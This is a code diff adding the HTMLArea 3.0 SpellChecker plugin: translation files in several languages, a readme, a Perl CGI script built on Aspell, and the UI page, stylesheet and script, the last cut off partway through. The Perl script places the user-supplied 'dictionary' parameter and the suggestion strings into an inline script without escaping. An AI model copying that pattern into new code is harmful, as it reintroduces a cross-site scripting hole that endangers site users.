+ "Replace with" : "Zaměnit za",\r\r
+ "Replace" : "Zaměnit",\r\r
+ "SC-spell-check" : "Kontrola správnosti slov",\r\r
+ "Suggestions" : "Doporučení",\r\r
+ "pliz weit ;-)" : "strpení prosím ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vil du følge dette link?",
+ "Cancel" : "Anuler",
+ "Dictionary" : "Ordbog",
+ "Finished list of mispelled words" : "Listen med stavefejl er gennemgået",
+ "I will open it in a new page." : "Jeg vil åbne det i en ny side.",
+ "Ignore all" : "Ignorer alle",
+ "Ignore" : "Ignorer",
+ "NO_ERRORS" : "Der blev ikke fundet nogle stavefejl med den valgte ordbog.",
+ "NO_ERRORS_CLOSING" : "Stavekontrollen er gennemført, der blev ikke fundet nogle stavefejl. Lukker...",
+ "OK" : "OK",
+ "Original word" : "Oprindeligt ord",
+ "Please wait. Calling spell checker." : "Vent venligst. Henter stavekontrol.",
+ "Please wait: changing dictionary to" : "Vent venligst: skifter ordbog til",
+ "QUIT_CONFIRMATION" : "Alle dine ændringer vil gå tabt, vil du fortsætte?",
+ "Re-check" : "Tjek igen",
+ "Replace all" : "Erstat alle",
+ "Replace with" : "Erstat med",
+ "Replace" : "Erstat",
+ "SC-spell-check" : "Stavekontrol",
+ "Suggestions" : "Forslag",
+ "pliz weit ;-)" : "Vent venligst"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Broxx, <broxx@broxx.com>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Wollen Sie diesen Link oeffnen",
+ "Cancel" : "Abbrechen",
+ "Dictionary" : "Woerterbuch",
+ "Finished list of mispelled words" : "Liste der nicht bekannten Woerter",
+ "I will open it in a new page." : "Wird auf neuer Seite geoeffnet",
+ "Ignore all" : "Alle ignorieren",
+ "Ignore" : "Ignorieren",
+ "NO_ERRORS" : "Keine falschen Woerter mit gewaehlten Woerterbuch gefunden",
+ "NO_ERRORS_CLOSING" : "Rechtsschreibpruefung wurde ohne Fehler fertiggestellt. Wird nun geschlossen...",
+ "OK" : "OK",
+ "Original word" : "Original Wort",
+ "Please wait. Calling spell checker." : "Bitte warten. Woerterbuch wird durchsucht.",
+ "Please wait: changing dictionary to" : "Bitte warten: Woerterbuch wechseln zu",
+ "QUIT_CONFIRMATION" : "Aenderungen werden nicht uebernommen. Bitte bestaettigen.",
+ "Re-check" : "Neuueberpruefung",
+ "Replace all" : "Alle ersetzen",
+ "Replace with" : "Ersetzen mit",
+ "Replace" : "Ersetzen",
+ "SC-spell-check" : "Ueberpruefung",
+ "Suggestions" : "Vorschlag",
+ "pliz weit ;-)" : "bittsche wartn ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Please confirm that you want to open this link",
+ "Cancel" : "Cancel",
+ "Dictionary" : "Dictionary",
+ "Finished list of mispelled words" : "Finished list of mispelled words",
+ "I will open it in a new page." : "I will open it in a new page.",
+ "Ignore all" : "Ignore all",
+ "Ignore" : "Ignore",
+ "NO_ERRORS" : "No mispelled words found with the selected dictionary.",
+ "NO_ERRORS_CLOSING" : "Spell check complete, didn't find any mispelled words. Closing now...",
+ "OK" : "OK",
+ "Original word" : "Original word",
+ "Please wait. Calling spell checker." : "Please wait. Calling spell checker.",
+ "Please wait: changing dictionary to" : "Please wait: changing dictionary to",
+ "QUIT_CONFIRMATION" : "This will drop changes and quit spell checker. Please confirm.",
+ "Re-check" : "Re-check",
+ "Replace all" : "Replace all",
+ "Replace with" : "Replace with",
+ "Replace" : "Replace",
+ "Revert" : "Revert",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggestions",
+ "pliz weit ;-)" : "pliz weit ;-)"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "אנא אשר שברצונך לפתוח קישור זה",\r\r
+ "Cancel" : "ביטול",\r\r
+ "Dictionary" : "מילון",\r\r
+ "Finished list of mispelled words" : "הסתיימה רשימת המילים המאויתות באופן שגוי",\r\r
+ "I will open it in a new page." : "אני אפתח את זה בחלון חדש.",\r\r
+ "Ignore all" : "התעלם מהכל",\r\r
+ "Ignore" : "התעלם",\r\r
+ "NO_ERRORS" : "לא נמצאו מילים מאויתות באופן שגוי עם המילון הנבחר.",\r\r
+ "NO_ERRORS_CLOSING" : "בדיקת האיות נסתיימה, לא נמצאו מילים מאויתות באופן שגוי. נסגר כעת...",\r\r
+ "OK" : "אישור",\r\r
+ "Original word" : "המילה המקורית",\r\r
+ "Please wait. Calling spell checker." : "אנא המתן. קורא לבודק איות.",\r\r
+ "Please wait: changing dictionary to" : "אנא המתן: מחליף מילון ל-",\r\r
+ "QUIT_CONFIRMATION" : "זה יבטל את השינויים ויצא מבודק האיות. אנא אשר.",\r\r
+ "Re-check" : "בדוק מחדש",\r\r
+ "Replace all" : "החלף הכל",\r\r
+ "Replace with" : "החלף ב-",\r\r
+ "Replace" : "החלף",\r\r
+ "Revert" : "החזר שינויים",\r\r
+ "SC-spell-check" : "בדיקת איות",\r\r
+ "Suggestions" : "הצעות",\r\r
+ "pliz weit ;-)" : "ענא המטן ;-)"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Megerősítés",
+ "Cancel" : "Mégsem",
+ "Dictionary" : "Szótár",
+ "Finished list of mispelled words" : "A tévesztett szavak listájának vége",
+ "I will open it in a new page." : "Megnyitás új lapon",
+ "Ignore all" : "Minden elvetése",
+ "Ignore" : "Elvetés",
+ "NO_ERRORS" : "A választott szótár szerint nincs tévesztett szó.",
+ "NO_ERRORS_CLOSING" : "A helyesírásellenőrzés kész, tévesztett szó nem fordult elő. Bezárás...",
+ "OK" : "Rendben",
+ "Original word" : "Eredeti szó",
+ "Please wait. Calling spell checker." : "Kis türelmet, a helyesírásellenőrző hívása folyamatban.",
+ "Please wait: changing dictionary to" : "Kis türelmet, szótár cseréje",
+ "QUIT_CONFIRMATION" : "Kilépés a változások eldobásával. Jóváhagyja?",
+ "Re-check" : "Újraellenőrzés",
+ "Replace all" : "Mind cseréje",
+ "Replace with" : "Csere a következőre:",
+ "Replace" : "Csere",
+ "SC-spell-check" : "Helyesírásellenőrzés",
+ "Suggestions" : "Tippek",
+ "pliz weit ;-)" : "Kis türelmet ;-)"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo, <fabio@rotondo.it>
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Devi confermare l'apertura di questo link",
+ "Cancel" : "Annulla",
+ "Dictionary" : "Dizionario",
+ "Finished list of mispelled words" : "La lista delle parole scritte male è terminata",
+ "I will open it in a new page." : "Lo aprirò in una nuova pagina.",
+ "Ignore all" : "Ignora sempre",
+ "Ignore" : "Ignora",
+ "NO_ERRORS" : "Non sono state trovate parole scritte male con il dizionario selezionato.",
+ "NO_ERRORS_CLOSING" : "Controllo completato, non sono state trovate parole scritte male. Sto chiudendo...",
+ "OK" : "OK",
+ "Original word" : "Parola originale",
+ "Please wait. Calling spell checker." : "Attendere. Sto invocando lo Spell Checker.",
+ "Please wait: changing dictionary to" : "Attendere. Cambio il dizionario in",
+ "QUIT_CONFIRMATION" : "Questo annullerà le modifiche e chiuderà lo Spell Checker. Conferma.",
+ "Re-check" : "Ricontrolla",
+ "Replace all" : "Sostituisci sempre",
+ "Replace with" : "Stostituisci con",
+ "Replace" : "Sostituisci",
+ "SC-spell-check" : "Spell-check",
+ "Suggestions" : "Suggerimenti",
+ "pliz weit ;-)" : "Attendere Prego ;-)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+SpellChecker.I18N = {
+ "CONFIRM_LINK_CLICK" : "Vă rog confirmaţi că vreţi să deschideţi acest link",
+ "Cancel" : "Anulează",
+ "Dictionary" : "Dicţionar",
+ "Finished list of mispelled words" : "Am terminat lista de cuvinte greşite",
+ "I will open it in a new page." : "O voi deschide într-o altă fereastră.",
+ "Ignore all" : "Ignoră toate",
+ "Ignore" : "Ignoră",
+ "NO_ERRORS" : "Nu am găsit nici un cuvânt greşit cu acest dicţionar.",
+ "NO_ERRORS_CLOSING" : "Am terminat, nu am detectat nici o greşeală. Acum închid fereastra...",
+ "OK" : "OK",
+ "Original word" : "Cuvântul original",
+ "Please wait. Calling spell checker." : "Vă rog aşteptaţi. Apelez spell-checker-ul.",
+ "Please wait: changing dictionary to" : "Vă rog aşteptaţi. Schimb dicţionarul cu",
+ "QUIT_CONFIRMATION" : "Doriţi să renunţaţi la modificări şi să închid spell-checker-ul?",
+ "Re-check" : "Scanează",
+ "Replace all" : "Înlocuieşte toate",
+ "Replace with" : "Înlocuieşte cu",
+ "Replace" : "Înlocuieşte",
+ "SC-spell-check" : "Detectează greşeli",
+ "Suggestions" : "Sugestii",
+ "pliz weit ;-)" : "va rog ashteptatzi ;-)"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+ <head>
+ <title>HTMLArea Spell Checker</title>
+ </head>
+
+ <body>
+ <h1>HTMLArea Spell Checker</h1>
+
+ <p>The HTMLArea Spell Checker subsystem consists of the following
+ files:</p>
+
+ <ul>
+
+ <li>spell-checker.js — the spell checker plugin interface for
+ HTMLArea</li>
+
+ <li>spell-checker-ui.html — the HTML code for the user
+ interface</li>
+
+ <li>spell-checker-ui.js — functionality of the user
+ interface</li>
+
+ <li>spell-checker-logic.cgi — Perl CGI script that checks a text
+ given through POST for spelling errors</li>
+
+ <li>spell-checker-style.css — style for mispelled words</li>
+
+ <li>lang/en.js — main language file (English).</li>
+
+ </ul>
+
+ <h2>Process overview</h2>
+
+ <p>
+ When an end-user clicks the "spell-check" button in the HTMLArea
+ editor, a new window is opened with the URL of "spell-check-ui.html".
+ This window initializes itself with the text found in the editor (uses
+ <tt>window.opener.SpellChecker.editor</tt> global variable) and it
+ submits the text to the server-side script "spell-check-logic.cgi".
+ The target of the FORM is an inline frame which is used both to
+ display the text and correcting.
+ </p>
+
+ <p>
+ Further, spell-check-logic.cgi calls Aspell for each portion of plain
+ text found in the given HTML. It rebuilds an HTML file that contains
+ clear marks of which words are incorrect, along with suggestions for
+ each of them. This file is then loaded in the inline frame. Upon
+ loading, a JavaScript function from "spell-check-ui.js" is called.
+ This function will retrieve all mispelled words from the HTML of the
+ iframe and will setup the user interface so that it allows correction.
+ </p>
+
+ <h2>The server-side script (spell-check-logic.cgi)</h2>
+
+ <p>
+ <strong>Unicode safety</strong> — the program <em>is</em>
+ Unicode safe. HTML entities are expanded into their corresponding
+ Unicode characters. These characters will be matched as part of the
+ word passed to Aspell. All texts passed to Aspell are in Unicode
+ (when appropriate). <strike>However, Aspell seems to not support Unicode
+ yet (<a
+ href="http://mail.gnu.org/archive/html/aspell-user/2000-11/msg00007.html">thread concerning Aspell and Unicode</a>).
+ This mean that words containing Unicode
+ characters that are not in 0..255 are likely to be reported as "mispelled" by Aspell.</strike>
+ </p>
+
+ <p>
+ <strong style="font-variant: small-caps; color:
+ red;">Update:</strong> though I've never seen it mentioned
+ anywhere, it looks that Aspell <em>does</em>, in fact, speak
+ Unicode. Or else, maybe <code>Text::Aspell</code> does
+ transparent conversion; anyway, this new version of our
+ SpellChecker plugin is, as tests show so far, fully
+ Unicode-safe... well, probably the <em>only</em> freeware
+ Web-based spell-checker which happens to have Unicode support.
+ </p>
+
+ <p>
+ The Perl Unicode manual (man perluniintro) states:
+ </p>
+
+ <blockquote>
+ <em>
+ Starting from Perl 5.6.0, Perl has had the capacity to handle Unicode
+ natively. Perl 5.8.0, however, is the first recommended release for
+ serious Unicode work. The maintenance release 5.6.1 fixed many of the
+ problems of the initial Unicode implementation, but for example regular
+ expressions still do not work with Unicode in 5.6.1.
+ </em>
+ </blockquote>
+
+ <p>In other words, do <em>not</em> assume that this script is
+ Unicode-safe on Perl interpreters older than 5.8.0.</p>
+
+ <p>The following Perl modules are required:</p>
+
+ <ul>
+ <li><a href="http://search.cpan.org/search?query=Text%3A%3AAspell&mode=all" target="_blank">Text::Aspell</a></li>
+ <li><a href="http://search.cpan.org/search?query=XML%3A%3ADOM&mode=all" target="_blank">XML::DOM</a></li>
+ <li><a href="http://search.cpan.org/search?query=CGI&mode=all" target="_blank">CGI</a></li>
+ </ul>
+
+ <p>Of these, only Text::Aspell might need to be installed manually. The
+ others are likely to be available by default in most Perl distributions.</p>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Thu Jul 17 13:22:27 EEST 2003 -->
+<!-- hhmts start --> Last modified: Fri Jan 30 19:14:11 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+#! /usr/bin/perl -w
+
+# Spell Checker Plugin for HTMLArea-3.0
+# Sponsored by www.americanbible.org
+# Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+#
+# (c) dynarch.com 2003.
+# Distributed under the same terms as HTMLArea itself.
+# This notice MUST stay intact for use (see license.txt).
+#
+# $Id: spell-check-logic.cgi,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+use strict;
+use utf8;
+use Encode;
+use Text::Aspell;
+use XML::DOM;
+use CGI;
+
+my $TIMER_start = undef;
+eval {
+ use Time::HiRes qw( gettimeofday tv_interval );
+ $TIMER_start = [gettimeofday()];
+};
+# use POSIX qw( locale_h );
+
+binmode STDIN, ':utf8';
+binmode STDOUT, ':utf8';
+
+my $debug = 0;
+
+my $speller = new Text::Aspell;
+my $cgi = new CGI;
+
+my $total_words = 0;
+my $total_mispelled = 0;
+my $total_suggestions = 0;
+my $total_words_suggested = 0;
+
+# FIXME: report a nice error...
+die "Can't create speller!" unless $speller;
+
+my $dict = $cgi->param('dictionary') || $cgi->cookie('dictionary') || 'en';
+
+# add configurable option for this
+$speller->set_option('lang', $dict);
+$speller->set_option('encoding', 'UTF-8');
+#setlocale(LC_CTYPE, $dict);
+
+# ultra, fast, normal, bad-spellers
+# bad-spellers seems to cause segmentation fault
+$speller->set_option('sug-mode', 'normal');
+
+my %suggested_words = ();
+keys %suggested_words = 128;
+
+my $file_content = decode('UTF-8', $cgi->param('content'));
+$file_content = parse_with_dom($file_content);
+
+my $ck_dictionary = $cgi->cookie(-name => 'dictionary',
+ -value => $dict,
+ -expires => '+30d');
+
+print $cgi->header(-type => 'text/html; charset: utf-8',
+ -cookie => $ck_dictionary);
+
+my $js_suggested_words = make_js_hash(\%suggested_words);
+my $js_spellcheck_info = make_js_hash_from_array
+ ([
+ [ 'Total words' , $total_words ],
+ [ 'Mispelled words' , $total_mispelled . ' in dictionary \"'.$dict.'\"' ],
+ [ 'Total suggestions' , $total_suggestions ],
+ [ 'Total words suggested' , $total_words_suggested ],
+ [ 'Spell-checked in' , defined $TIMER_start ? (tv_interval($TIMER_start) . ' seconds') : 'n/a' ]
+ ]);
+
+print qq^<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<link rel="stylesheet" type="text/css" media="all" href="spell-check-style.css" />
+<script type="text/javascript">
+ var suggested_words = { $js_suggested_words };
+ var spellcheck_info = { $js_spellcheck_info }; </script>
+</head>
+<body onload="window.parent.finishedSpellChecking();">^;
+
+print $file_content;
+if ($cgi->param('init') eq '1') {
+ my @dicts = $speller->dictionary_info();
+ my $dictionaries = '';
+ foreach my $i (@dicts) {
+ next if $i->{jargon};
+ my $name = $i->{name};
+ if ($name eq $dict) {
+ $name = '@'.$name;
+ }
+ $dictionaries .= ',' . $name;
+ }
+ $dictionaries =~ s/^,//;
+ print qq^<div id="HA-spellcheck-dictionaries">$dictionaries</div>^;
+}
+
+print '</body></html>';
+
+# Perl is beautiful.
+sub spellcheck {
+ my $node = shift;
+ my $doc = $node->getOwnerDocument;
+ my $check = sub { # called for each word in the text
+ # input is in UTF-8
+ my $word = shift;
+ my $already_suggested = defined $suggested_words{$word};
+ ++$total_words;
+ if (!$already_suggested && $speller->check($word)) {
+ return undef;
+ } else {
+ # we should have suggestions; give them back to browser in UTF-8
+ ++$total_mispelled;
+ if (!$already_suggested) {
+ # compute suggestions for this word
+ my @suggestions = $speller->suggest($word);
+ my $suggestions = decode($speller->get_option('encoding'), join(',', @suggestions));
+ $suggested_words{$word} = $suggestions;
+ ++$total_suggestions;
+ $total_words_suggested += scalar @suggestions;
+ }
+ # HA-spellcheck-error
+ my $err = $doc->createElement('span');
+ $err->setAttribute('class', 'HA-spellcheck-error');
+ my $tmp = $doc->createTextNode;
+ $tmp->setNodeValue($word);
+ $err->appendChild($tmp);
+ return $err;
+ }
+ };
+ while ($node->getNodeValue =~ /([\p{IsWord}']+)/) {
+ my $word = $1;
+ my $before = $`;
+ my $after = $';
+ my $df = &$check($word);
+ if (!$df) {
+ $before .= $word;
+ }
+ {
+ my $parent = $node->getParentNode;
+ my $n1 = $doc->createTextNode;
+ $n1->setNodeValue($before);
+ $parent->insertBefore($n1, $node);
+ $parent->insertBefore($df, $node) if $df;
+ $node->setNodeValue($after);
+ }
+ }
+};
+
+sub check_inner_text {
+ my $node = shift;
+ my $text = '';
+ for (my $i = $node->getFirstChild; defined $i; $i = $i->getNextSibling) {
+ if ($i->getNodeType == TEXT_NODE) {
+ spellcheck($i);
+ }
+ }
+};
+
+sub parse_with_dom {
+ my ($text) = @_;
+ $text = '<spellchecker>'.$text.'</spellchecker>';
+
+ my $parser = new XML::DOM::Parser;
+ if ($debug) {
+ open(FOO, '>:utf8', '/tmp/foo');
+ print FOO $text;
+ close FOO;
+ }
+ my $doc = $parser->parse($text);
+ my $nodes = $doc->getElementsByTagName('*');
+ my $n = $nodes->getLength;
+
+ for (my $i = 0; $i < $n; ++$i) {
+ my $node = $nodes->item($i);
+ if ($node->getNodeType == ELEMENT_NODE) {
+ check_inner_text($node);
+ }
+ }
+
+ my $ret = $doc->toString;
+ $ret =~ s{<spellchecker>(.*)</spellchecker>}{$1}sg;
+ return $ret;
+};
+
+sub make_js_hash {
+ my ($hash) = @_;
+ my $js_hash = '';
+ while (my ($key, $val) = each %$hash) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$key.'":"'.$val.'"';
+ }
+ return $js_hash;
+};
+
+sub make_js_hash_from_array {
+ my ($array) = @_;
+ my $js_hash = '';
+ foreach my $i (@$array) {
+ $js_hash .= ',' if $js_hash;
+ $js_hash .= '"'.$i->[0].'":"'.$i->[1].'"';
+ }
+ return $js_hash;
+};
--- /dev/null
+.HA-spellcheck-error { border-bottom: 1px dashed #f00; cursor: default; }
+.HA-spellcheck-same { background-color: #cef; color: #000; }
+.HA-spellcheck-hover { background-color: #433; color: white; }
+.HA-spellcheck-fixed { border-bottom: 1px dashed #0b8; }
+.HA-spellcheck-current { background-color: #9be; color: #000; }
+.HA-spellcheck-suggestions { display: none; }
+
+#HA-spellcheck-dictionaries { display: none; }
+
+a:link, a:visited { color: #55e; }
--- /dev/null
+<!--
+
+ Strangely, IE sucks with or without the DOCTYPE switch.
+ I thought it would only suck without it.
+
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+ "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+
+ Spell Checker Plugin for HTMLArea-3.0
+ Sponsored by www.americanbible.org
+ Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+
+ (c) dynarch.com 2003.
+ Distributed under the same terms as HTMLArea itself.
+ This notice MUST stay intact for use (see license.txt).
+
+ $Id: spell-check-ui.html,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+
+ <head>
+ <title>Spell Checker</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript" src="spell-check-ui.js"></script>
+
+ <style type="text/css">
+ html, body { height: 100%; margin: 0px; padding: 0px; background-color: #fff;
+ color: #000; }
+ a:link, a:visited { color: #00f; text-decoration: none; }
+ a:hover { color: #f00; text-decoration: underline; }
+
+ table { background-color: ButtonFace; color: ButtonText;
+ font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+
+ iframe { background-color: #fff; color: #000; height: 100%; width: 100%; }
+
+ .controls { width: 13em; }
+ .controls .sectitle { /* background-color: #736c6c; color: #fff;
+ border-top: 1px solid #000; border-bottom: 1px solid #fff; */
+ text-align: center;
+ font-weight: bold; padding: 2px 4px; }
+ .controls .secbody { margin-bottom: 10px; }
+
+ button, select { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+ button { width: 6em; padding: 0px; }
+
+ input, select { font-family: fixed,"andale mono",monospace; }
+
+ #v_currentWord { color: #f00; font-weight: bold; }
+ #statusbar { padding: 7px 0px 0px 5px; }
+ #status { font-weight: bold; }
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+
+ <form style="display: none;" action="spell-check-logic.cgi"
+ method="post" target="framecontent"
+ accept-charset="UTF-8"
+ ><input type="hidden" name="content" id="f_content"
+ /><input type="hidden" name="dictionary" id="f_dictionary"
+ /><input type="hidden" name="init" id="f_init" value="1"
+ /></form>
+
+ <table style="height: 100%; width: 100%; border-collapse: collapse;" cellspacing="0" cellpadding="0">
+ <tr>
+ <td colspan="2" style="height: 1em; padding: 2px;">
+ <div style="float: right; padding: 2px;"><span>Dictionary</span>
+ <select id="v_dictionaries" style="width: 10em"></select>
+ <button id="b_recheck">Re-check</button>
+ </div>
+ <span id="status">Please wait. Calling spell checker.</span>
+ </td>
+ </tr>
+ <tr>
+ <td valign="top" class="controls">
+ <div class="secbody" style="text-align: center">
+ <button id="b_info">Info</button>
+ </div>
+ <div class="sectitle">Original word</div>
+ <div class="secbody" id="v_currentWord" style="text-align:
+ center; margin-bottom: 0px;">pliz weit ;-)</div>
+ <div class="secbody" style="text-align: center">
+ <button id="b_revert">Revert</button>
+ </div>
+ <div class="sectitle">Replace with</div>
+ <div class="secbody">
+ <input type="text" id="v_replacement" style="width: 94%; margin-left: 3%;" /><br />
+ <div style="text-align: center; margin-top: 2px;">
+ <button id="b_replace">Replace</button><button
+ id="b_replall">Replace all</button><br /><button
+ id="b_ignore">Ignore</button><button
+ id="b_ignall">Ignore all</button>
+ </div>
+ </div>
+ <div class="sectitle">Suggestions</div>
+ <div class="secbody">
+ <select size="11" style="width: 94%; margin-left: 3%;" id="v_suggestions"></select>
+ </div>
+ </td>
+
+ <td>
+ <iframe src="about:blank" width="100%" height="100%"
+ id="i_framecontent" name="framecontent"></iframe>
+ </td>
+ </tr>
+ <tr>
+ <td style="height: 1em;" colspan="2">
+ <div style="padding: 4px 2px 2px 2px; float: right;">
+ <button id="b_ok">OK</button>
+ <button id="b_cancel">Cancel</button>
+ </div>
+ <div id="statusbar"></div>
+ </td>
+ </tr>
+ </table>
+
+ </body>
+
+</html>
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-check-ui.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+// internationalization file was already loaded in parent ;-)
+var SpellChecker = window.opener.SpellChecker;
+var i18n = SpellChecker.I18N;
+
+var HTMLArea = window.opener.HTMLArea;
+var is_ie = HTMLArea.is_ie;
+var editor = SpellChecker.editor;
+var frame = null;
+var currentElement = null;
+var wrongWords = null;
+var modified = false;
+var allWords = {};
+var fixedWords = [];
+var suggested_words = {};
+
+function makeCleanDoc(leaveFixed) {
+ // document.getElementById("status").innerHTML = 'Please wait: rendering valid HTML';
+ var words = wrongWords.concat(fixedWords);
+ for (var i = words.length; --i >= 0;) {
+ var el = words[i];
+ if (!(leaveFixed && /HA-spellcheck-fixed/.test(el.className))) {
+ el.parentNode.insertBefore(el.firstChild, el);
+ el.parentNode.removeChild(el);
+ } else
+ el.className = "HA-spellcheck-fixed";
+ }
+ // we should use innerHTML here, but IE6's implementation fucks up the
+ // HTML to such extent that our poor Perl parser doesn't understand it
+ // anymore.
+ return window.opener.HTMLArea.getHTML(frame.contentWindow.document.body, false, editor);
+};
+
+function recheckClicked() {
+ document.getElementById("status").innerHTML = i18n["Please wait: changing dictionary to"] + ': "' + document.getElementById("f_dictionary").value + '".';
+ var field = document.getElementById("f_content");
+ field.value = makeCleanDoc(true);
+ field.form.submit();
+};
+
+function saveClicked() {
+ if (modified) {
+ editor.setHTML(makeCleanDoc(false));
+ }
+ window.close();
+ return false;
+};
+
+function cancelClicked() {
+ var ok = true;
+ if (modified) {
+ ok = confirm(i18n["QUIT_CONFIRMATION"]);
+ }
+ if (ok) {
+ window.close();
+ }
+ return false;
+};
+
+function replaceWord(el) {
+ var replacement = document.getElementById("v_replacement").value;
+ var this_word_modified = (el.innerHTML != replacement);
+ if (this_word_modified)
+ modified = true;
+ if (el) {
+ el.className = el.className.replace(/\s*HA-spellcheck-(hover|fixed)\s*/g, " ");
+ }
+ el.className += " HA-spellcheck-fixed";
+ el.__msh_fixed = true;
+ if (!this_word_modified) {
+ return false;
+ }
+ el.innerHTML = replacement;
+};
+
+function replaceClicked() {
+ replaceWord(currentElement);
+ var start = currentElement.__msh_id;
+ var index = start;
+ do {
+ ++index;
+ if (index == wrongWords.length) {
+ index = 0;
+ }
+ } while ((index != start) && wrongWords[index].__msh_fixed);
+ if (index == start) {
+ index = 0;
+ alert(i18n["Finished list of mispelled words"]);
+ }
+ wrongWords[index].__msh_wordClicked(true);
+ return false;
+};
+
+function revertClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceWord(currentElement);
+ currentElement.className = "HA-spellcheck-error HA-spellcheck-current";
+ return false;
+};
+
+function replaceAllClicked() {
+ var replacement = document.getElementById("v_replacement").value;
+ var ok = true;
+ var spans = allWords[currentElement.__msh_origWord];
+ if (spans.length == 0) {
+ alert("An impossible condition just happened. Call FBI. ;-)");
+ } else if (spans.length == 1) {
+ replaceClicked();
+ return false;
+ }
+ /*
+ var message = "The word \"" + currentElement.__msh_origWord + "\" occurs " + spans.length + " times.\n";
+ if (replacement == currentElement.__msh_origWord) {
+ ok = confirm(message + "Ignore all occurrences?");
+ } else {
+ ok = confirm(message + "Replace all occurrences with \"" + replacement + "\"?");
+ }
+ */
+ if (ok) {
+ for (var i in spans) {
+ if (spans[i] != currentElement) {
+ replaceWord(spans[i]);
+ }
+ }
+ // replace current element the last, so that we jump to the next word ;-)
+ replaceClicked();
+ }
+ return false;
+};
+
+function ignoreClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceClicked();
+ return false;
+};
+
+function ignoreAllClicked() {
+ document.getElementById("v_replacement").value = currentElement.__msh_origWord;
+ replaceAllClicked();
+ return false;
+};
+
+function learnClicked() {
+ alert("Not [yet] implemented");
+ return false;
+};
+
+function internationalizeWindow() {
+ var types = ["div", "span", "button"];
+ for (var i in types) {
+ var tag = types[i];
+ var els = document.getElementsByTagName(tag);
+ for (var j = els.length; --j >= 0;) {
+ var el = els[j];
+ if (el.childNodes.length == 1 && /\S/.test(el.innerHTML)) {
+ var txt = el.innerHTML;
